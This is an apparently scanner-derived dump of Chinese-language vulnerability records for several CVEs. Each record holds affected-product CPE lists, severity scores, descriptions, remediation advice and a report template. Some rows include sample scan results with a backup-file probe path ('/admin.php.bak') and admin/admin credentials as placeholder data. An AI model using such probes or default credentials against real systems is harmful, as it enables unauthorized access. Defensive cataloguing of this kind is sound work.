{"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.2.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.2.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.3.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.3.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.3.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.3.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.3.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.5.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.5.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.5.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.5.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.5.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.7.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.7.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.7.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-512401 | CNNVD-202211-2445 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-512401,CVE-2022-20928,CNNVD-202211-2445} | medium | 5.8 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | Cisco Firepower Threat Defense（FTD）和Cisco Adaptive Security Appliances Software（ASA Software）都是美国思科（Cisco）公司的产品。Cisco Firepower Threat Defense是一套提供下一代防火墙服务的统一软件。Cisco Adaptive Security Appliances Software是一套防火墙和网络安全平台。该平台提供了对数据和网络资源的高度安全的访问等功能。 Cisco Adaptive Security Appliance（ASA）Software和Cisco Firepower Threat Defense（FTD）Software存在安全漏洞，该漏洞源于其VPN连接的认证和授权流程不完善允许未经身份验证的远程攻击者以不同的用户建立连接。 | CVE-2022-20928 | CVE-2022-20928: Cisco Adaptive Security Appliance（ASA）Software和Cisco Firepower Threat Defense（FTD）Software 安全漏洞 | null | 暂无 | f | 15/11/2022 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:itechscripts:itechbids:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-54960 | CNNVD-200802-276 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 27717 | f | {CT-54960,CVE-2008-0776,CNNVD-200802-276,27717} | high | 6.3 | null | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | iTechBids Gold的detail.php存在SQL注入漏洞。远程攻击者可以通过item_id 参数来执行任意SQL命令。 | CVE-2008-0776 | CVE-2008-0776: ITechScripts ITechBids detail.php SQL注入漏洞 | null | 暂无 | f | 13/2/2008 16:00:00 | - 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.0.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "6.2.2"}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager:6.2.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:6.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "6.2.1"}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:6.2.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:6.2.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:6.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:6.2.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:ibm:tivoli_federated_identity_manager_business_gateway:6.2.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-107903 | CNNVD-201211-097 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 56391 | f | {CT-107903,CVE-2012-3315,CNNVD-201211-097,56391} | medium | 4.3 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | IBM Tivoli Federated Identity Manager（TFIM）是美国IBM公司的一款跨企业的联邦身份管理产品。该产品向使用多种应用程序的用户提供Web和联合单点登录功能（SSO）。 IBM Tivoli Federated Identity Manager (TFIM)至6.2.2版本和Tivoli Federated Identity Manager Business Gateway (TFIMBG) 6.2.2之前版本中的管理控制台中的Java servlets中存在漏洞，该漏洞源于对所有资源的下载不要求身份验证。远程攻击者利用该漏洞通过特制的请求，绕过预期的J2EE安全约束，进而获得敏感信息，与(1)联盟元数据或(2)Web插件配置模板有关。 | CVE-2012-3315 | CVE-2012-3315: IBM Tivoli Federated Identity Manager 管理控制台访问漏洞 | null | 暂无 | f | 7/11/2012 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:mozilla:convict:*:*:*:*:*:node.js:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "6.2.2"}]}] | null | f | CT-419271 | CNNVD-202205-1806 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-419271,CVE-2022-22143,CNNVD-202205-1806} | critical | 9.8 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | convict是Node.js 的特色配置管理库。 convict 6.2.2之前版本存在安全漏洞，该漏洞源于缺少parentKey的验证而容易受到convict函数的原型污染。 | CVE-2022-22143 | CVE-2022-22143: convict 安全漏洞 | null | 暂无 | f | 1/5/2022 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1709:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1803:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:1903:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1903:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:1909:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | 4580346 | f | CT-143860 | CNNVD-202010-499 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-143860,CVE-2020-16973,CNVD-2021-61776,CNNVD-202010-499,4580346} | high | 7.8 | CNVD-2021-61776 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Microsoft Windows是美国微软（Microsoft）公司的一种桌面操作系统。 Windows 备份服务存在授权问题漏洞，该漏洞允许攻击者可以运行经特殊设计的应用程序来提升特权。以下产品及版本受到影响： Windows 10 1909版本， Windows Server 2008 R2版本， Windows 10 1709版本， Windows Server 1909版本， Windows Server 1903版本， Windows Server 2004版本， Windows 10 2004版本， Windows 10 1809版本， Windows Server 2016版本， Windows 10版本， Windows 10 1803版本， Windows 7版本， Windows 10 1903版本， Windows Server 2019版本， Windows 10 1607版本。 | CVE-2020-16973 | CVE-2020-16973: Microsoft Windows 备份服务授权问题漏洞 | null | 暂无 | f | 16/10/2020 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "10.10.4"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "8.4"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apple:numbers:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "3.5"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apple:keynote:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "6.5"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apple:pages:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "5.5.3"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apple:iwork:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "2.5.4"}]}] | null | f | CT-134330 | CNNVD-201508-324 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-134330,CVE-2015-3784,CNVD-2015-05575,CNNVD-201508-324} | medium | 4.3 | CNVD-2015-05575 | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
